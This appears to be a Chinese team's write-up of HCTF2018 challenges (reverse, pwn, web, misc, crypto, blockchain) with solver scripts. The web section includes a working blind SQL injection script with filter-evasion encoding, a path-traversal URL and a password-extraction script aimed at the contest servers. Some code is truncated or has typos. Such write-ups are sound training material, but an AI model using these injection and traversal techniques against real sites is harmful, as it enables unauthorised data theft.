HCTF2018 Writeup -- CNSS

yype / 2018-11-13 07:50:00 / 浏览数 2777 安全技术 CTF 顶(0) 踩(0)

HCTF2018_CNSS_WRITEUP

Reverse

LuckyStar

base64变表(Upper<->lower)加密，xor rand序列，与目标数组比较。

```
import base64

def lst2str(input):
   ret = ''
   for each in input:
       ret+=chr(each)
   return ret

def switch(input):
   input = list(input)
   lower = 'abcdefghijklmnopqrstuvwxyz'
   upper = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
   for i in range(len(input)):
       each = input[i]
       a = lower.find(each)
       b = upper.find(each)
       if a!= -1:
           input[i] = upper[a]
       elif b != -1:
           input[i] = lower[b]
   return ''.join(input)

final = [0x49,0xE6,0x57,0xBD,0x3A,0x47,0x11,0x4C,0x95,
0xBC,0xEE,0x32,0x72,0xA0,0xF0,0xDE,0xAC,0xF2,
0x83,0x56,0x83,0x49,0x6E,0xA9,0xA6,0xC5,0x67,
0x3C,0xCA,0xC8,0xCC,0x05]

src = [0x65,0xF5,0x5C,0xD5,0x2D,0x7D,0x27,0x4C,0xBD,0x86,0xFD,0x3E,0x5E,0xA2,0xAC,0xEA,0xAC,0xE1,0xD3,0x46,0xAA,0x59,0x79,0xB7
,0x79,0x7C,0xEA,0x96,0x84,0x0B,0x68,0x38]

dst = [0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x58
,0x6D,0x74,0x65,0x58,0x6D,0x74,0x65,0x3D]

for i in range(len(final)):
   final[i] ^= src[i] ^ dst[i]

print(base64.b64decode(switch(lst2str(final))))
```

PolishDuck

badusb，hex2bin转bin，ida分析函数：

Addr	Function
0x6F6	Keyboard.press
0x88D	Keyboard.println
0x8B6	Keyboard.sleep

提取sub_9A8中println 的调用参数，将对应字符串输出：

```
#include<stdio.h>
#include<stdlib.h>

int arr[] = {0x140,0x14c,0x153,0x162,0x177,0x18b,0x1a9,0x1c8,0x1d3,0x1eb,0x1fe,0x25e,0x207,0x21c,
0x227,0x246,0x261,0x270,0x28b,0x298,0x2a3,0x2b1,0x25c,0x2ba,0x2c5,0x2d0,0x2d7,0x2f2,    0x307,0x310,0x25e,0x327,0x346,0x3dc,0x3
0x497,0x49e,0x4b5,0x4cb,0x445,0x445,0x4d6,0x44d,0x44d,0x494,0x4e5,0x44f};
```

```
int main() {
   FILE* fl = fopen("PolishDuck.bin","rb");
   char* mem = new char[32730];
   fread(mem,32730,1,fl);
   fclose(fl);
   for(int i =0;i< (sizeof(arr)/4);i++){
       printf("%s",mem+0x1950+arr[i]);
   }
   system("pause");
   return 0;
}
```

得到：

```
44646+(64094+(71825*((15873+(21793*(7234+(17649*((2155+(74767*(35392+(88216*(83920+(16270+(20151*(5268+(90693*(82773+(716+(273
```

计算结果hexascii2char：

```
hctf{P0l1sh_Duck_Tast3s_D3l1ci0us_D0_U_Th1nk?}
```

Pwn

the end

改五字节，函数原型change(dst, src, len)

```
change(stdout_addr+216, lib_got_addr-0x50, 2)
change(lib_got_addr+0x08, one_gadget_addr, 3)
```

Web

Warmup

```
http://warmup.2018.hctf.io/index.php?file=source.php%3f/../../../../../fffflllaaaagggg
```

kzone

www.zip源码泄露

member.php 布尔盲注，根据 `Set-Cookie` 来判断

```
import hashlib
import requests
import re
import random
import time
import threading
import binascii
from urllib import parse

def md5(msg):
   return hashlib.md5(msg.encode()).hexdigest()

url = "http://kzone.2018.hctf.io/admin/login.php"

def fuck(payload):
   url1 = url
   payload = payload.replace(' ', '/**/')
   payload = payload.replace('if', '\\u0069f')
   payload = payload.replace('or', 'o\\u0072')
   payload = payload.replace('substr', 'su\\u0062str')
   payload = payload.replace('>', '\\u003e')
   payload = payload.replace('=', '\\u003d')
   payload = '{"admin_user":"%s"}' % payload
   payload = parse.quote(payload)
   cookies = {
       "islogin": "1",
       "login_data": payload
   }
```

```
    return requests.get(url1, cookies=cookies).headers['Set-Cookie']


def two(ind, cont, pos, result):
    print("[pos %d start]" % pos)
    payload = "' || if((ord(substr(({}),{},1)))>{},1,0)='1"
    l = 33
    r = 127
    while l < r:
        mid = (l + r) >> 1
        text = fuck(payload.format(cont, pos, mid))
        if len(text)==181: # True
            l = mid + 1
        else:
            r = mid
    result[pos] = chr(l)
    print("[pos %d end]" % pos)


def sqli(cont):
    print("[Start]")
    sz = 60
    res = [''] * (sz + 1)
    t = [None] * sz
    for i in range(1, sz + 1):
        if i > sz:
            t[i % sz].join()
        t[i % sz] = threading.Thread(target=two, args=(i, cont, i, res))
        t[i % sz].start()
    for th in t:
        th.join()
    return "".join(res)

# db = sqli("SELECT database()")
# print(db)
# hctf_kouzone

# tables = sqli("select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='hctf_kouzone'")
# print(tables)
# F1444g,fish_admin,fish_ip,fish_user,fish_user_fake

# cols = sqli("select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='F1444g'")
# print(cols)
# F1a9

flag = sqli("select group_concat(F1a9) from F1444g")
print(flag)
# hctf{4526a8cbd741b3f790f95ad32c2514b9}
```

admin

源码泄漏

```
https://github.com/woadsl1234/hctf_flask/
```

template里面发现登录admin可以拿到flag，unicode过一下strlower去重置密码。

game

order 参数可以传入 password, 二分 admin 密码.

虽然 MySQL 里比较运算符不区分大小写 (而且不能用 `order by binary password` 或 `order by ascii(password)`, 被禁了). 不过最后输入 admin 密码的时候也不区分大小写.

```
import random
import re
import requests
import string
```

```
VALID_IDENT = string.ascii_letters + string.digits
PASSLEN = 32
CRTAB6 = '\n' + '\t' * 6
CRTAB7 = '<td>\n' + '\t' * 7
ADMIN = f'{CRTAB7}1{CRTAB6}</td>{CRTAB6}{CRTAB7}admin{CRTAB6}</td>'


def randstr(length, charset=VALID_IDENT):
   return ''.join([random.choice(charset) for n in range(length)])


def getuser():
   return 'xris_' + randstr(32)


def register(username, password):
   URL = 'http://game.2018.hctf.io/web2/action.php?action=reg'
   OK = "<script>alert('success');location.href='index.html';</script>"
   form = {
       'username': username,
       'password': password,
       'sex': 1,
       'submit': 'submit'
   }
   resp = requests.post(URL, data=form)
   if resp.text != OK:
       raise Exception(f'register failed with {resp.text}, {password}')


def login(username, password):
   URL = 'http://game.2018.hctf.io/web2/action.php?action=login'
   OK = "<script>alert('success');location.href='user.php';</script>"
   sess = requests.Session()
   form = {
       'username': username,
       'password': password,
       'submit': 'submit',
   }
   resp = sess.post(URL, data=form)
   if resp.text != OK:
       raise Exception(f'login failed with {resp.text}, {password}')
   return sess


def to_bytes(value, length):
   retn = bytearray()
   while value:
       retn.append(value % 128)
       value //= 128
   retn.reverse()
   return retn.ljust(length).decode()


def check(m):
   URL = 'http://game.2018.hctf.io/web2/user.php?order=password'
   username = getuser()
   password = to_bytes(m, PASSLEN)
   register(username, password)
   sess = login(username, password)
   resp = sess.get(URL)
   adloc = resp.text.find(ADMIN)
   mytag = f'{CRTAB7}{username}{CRTAB6}'
   myloc = resp.text.find(mytag)
   if adloc == -1 or myloc == -1:
       # Should never happen
       raise Exception('not found with {password}')
   return myloc < adloc
```

```
def bsearch(lower, upper, check):
   bound = [lower, upper]
   while bound[0] + 1 != bound[1]:
       m = bound[0] + bound[1] >> 1
       bound[check(m)] = m
       print(repr(to_bytes(m, 0)))
   return bound[0]


def main():
   print(bsearch(0, 128 ** PASSLEN, check))


if __name__ == '__main__':
   main()

# DSA8&&!@#$%^&D1NGY1AS3DJA
```

Misc

freq game

每一个 level 涉及 4 个字节，给了你 1500 个关于正弦函数 sin 的等式，要解出这 4 个字节。管它是什么式子，就直接 C++ 写个大约 $ O\left (\binom{256}{4} \right) $ 的暴力跑一跑比较一下 eps 就完事了，反正数据不变可以离线跑，然后写个 python 脚本调用一下就好了。

```
#include<bits/stdc++.h>
using namespace std;

#define pi acos(-1.0)
#define eps 1e-8

const int PAT_TOT = 8;
const int N = 1500;
const int MAX = 256;
double x[N], y[N];

int main() {
   for (int i = 0; i < PAT_TOT; ++i) {
       scanf("%lf", y + i);
   }
   for (int i = 0; i < N; ++i)
       x[i] = i * 2.0 * pi / (N - 1);
   for (int a = 0; a < MAX; ++a)
       for (int b = a; b < MAX; ++b)
           for (int c = b; c < MAX; ++c)
               for (int d = c; d < MAX; ++d) {
                   bool flag = 1;
                   for (int i = PAT_TOT - 1; i >= 0; --i) {
                       double tmp = sin(x[i] * a) + sin(x[i] * b)
                                  + sin(x[i] * c) + sin(x[i] * d);
                       if (fabs(tmp * 7 - y[i]) > eps) {
                           flag = 0;
                           break;
                       }
                   }
                   if (flag) {
                       printf("%d %d %d %d\n", a, b, c, d);
                       return 0;
                   }
               }
   return 0;
}
```

easy dump

是个Win7虚拟机内存镜像。
可以导出当时的屏幕布局，结合进程目录可以推断出是个画图软件。
恢复画图的内容，分辨率1295*720，偏移151384059。

guess my key

写了一个神(bao)经(po)网(jiao)络(ben)丢去训练了，跑了大概30分钟拿到flag。

```
import requests
import os

def cost(a, b):
   d = [(i-j)*100*(i-j) for i, j in zip(a, b)]
   return sum(d)

challenge_url = "http://150.109.62.46:13577/enc?msg=%s&key=%s"
flag_url = "http://150.109.62.46:13577/enc?msg=%s"

key_list = [0,1,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,0,1,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,
key = ','.join([str(i) for i in key_list])

while True:
   msg_list = bin(int(os.urandom(12).encode('hex'), 16))[2:]
   msg = ','.join(msg_list)
   c0 = 9999
   c1 = 9999
   r = requests.get(flag_url % (msg))
   res = eval(r.text)
   flag_c = eval('['+res['raw_cipher'][1:-1]+']')
   for round in range(2*96):
       try:
           r = requests.get(challenge_url % (msg, key), timeout=3)
           res = eval(r.text)
           c0 = cost(eval('['+res['raw_cipher'][1:-1]+']'), flag_c)
       except Exception:
           pass
       key_list[round%96] ^= 1
       key = ','.join([str(i) for i in key_list])
       try:
           r = requests.get(challenge_url % (msg, key), timeout=3)
           res = eval(r.text)
           c1 = cost(eval('['+res['raw_cipher'][1:-1]+']'), flag_c)
       except Exception:
           pass
       if c1 > c0:
           key_list[round%96] ^= 1
           key = ','.join([str(i) for i in key_list])
           print round, c0
       else:
           print round, c1
       if c1 == 0 or c2 == 0;
           break
print key
```

difficult programming language

键盘流量，解出来的结果是

```
D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%
```

Malbolge跑一下就是flag

解流量代码

```
import sys
import os

DataFileName = "usb.dat"

presses = []

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0

shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f
```

```
def main():
   # check argv
   if len(sys.argv) != 2:
       exit(1)

   # get argv
   pcapFilePath = sys.argv[1]

   # get data of pcap
   os.system("tshark -r %s -T fields -e usb.capdata > %s" % (pcapFilePath, DataFileName))

   # read data
   with open(DataFileName, "r") as f:
       for line in f:
           presses.append(line[0:-1])
   # handle
   result = ""
   for press in presses:
       Bytes = press.split(":")
       if Bytes[0] == "00":
           if Bytes[2] != "00":
               result += normalKeys[Bytes[2]]
       elif Bytes[0] == "02": # shift key is pressed.
           if Bytes[2] != "00":
               result += shiftKeys[Bytes[2]]
       elif Bytes[0] == "01":
           if Bytes[2] != "00":
               result += ("Ctrl+" + shiftKeys[Bytes[2]])
       else:
           print "[-] Unknow Key : %s" % (Bytes[0])
   print "[+] Found : %s" % (result)

   # clean the temp data
   os.system("rm ./%s" % (DataFileName))


if __name__ == "__main__":
   main()
```

Crypto

xor game

枚举长度，按位考虑，枚举每一位的可能值，然后去密文里异或一遍，异或出来的字符如果不是正常英文诗歌该有的，说明不合法。可以发现密码长度为 21 时每一位都有可能值。每一位候选项不多，最后两位猜一下拿去解一下密文看顺不顺眼就好了。

```
import base64

def invalid(x):
   if chr(x) in '{}[]@#%^*=+':
       return True
   if x == 10:
       return False
   if x <= 31 or x >= 128:
       return True
   return False

cipher = base64.b64decode(open('cipher.txt', 'r').read())
for L in range(1, 32):
   c = []
   cc = []
   for i in range(L):
       t = []
       for cand in range(32, 128):
           flag = True
           for j in range(i, len(cipher), L):
               tmp = cand ^ cipher[j]
               if invalid(tmp):
```

```
                    flag = False
                    break
            if flag:
                t.append(chr(cand))
        c.append(len(t))
        cc.append(t)
    if 0 not in c:
        print(L, c)
        for i in range(L):
            print('\t', i, cc[i])
```

xor?rsa

裸的 Coppersmith's short-pad attack
抄个轮子一把梭，调一下 epslion 参数，真香
small_roots 有个 epslion 参数，根据文档，大概是在 $ \frac{1}{e^2} - \frac{kbits+1}{nbits} $左右最合适

```
def franklinReiter(n,e,r,c1,c2):
    R.<X> = Zmod(n)[]
    f1 = X^e - c1
    f2 = (X + r)^e - c2
    return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])


def compositeModulusGCD(a, b):
    if(b == 0):
        return a.monic()
    else:
        return compositeModulusGCD(b, a % b)


def CoppersmithShortPadAttack(e, n, C1, C2, nbit, kbit):
    P.<x,y> = PolynomialRing(ZZ)
    ZmodN = Zmod(n)
    g1 = x^e - C1
    g2 = (x+y)^e - C2
    res = g1.resultant(g2)
    P.<y> = PolynomialRing(ZmodN)
    rres = 0
    for i in range(len(res.coefficients())):
        rres += res.coefficients()[i]*(y^(res.exponents()[i][1]))
    print(rres.degree())
    diff = rres.small_roots(epsilon=1/rres.degree()-(kbit+1)/nbit)
    print(diff)
    recoveredM1 = franklinReiter(n,e,diff[0],C1,C2)
    print(recoveredM1)


e = 5
n = ...
C1 = ...
C2 = ...
CoppersmithShortPadAttack(e, n, C1, C2, 2048, 40)
```

Blockchain

ez2win

`_transfer` 转钱完事

最后，感谢 Vidar-Team 对又一届优秀赛事的组织。

- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板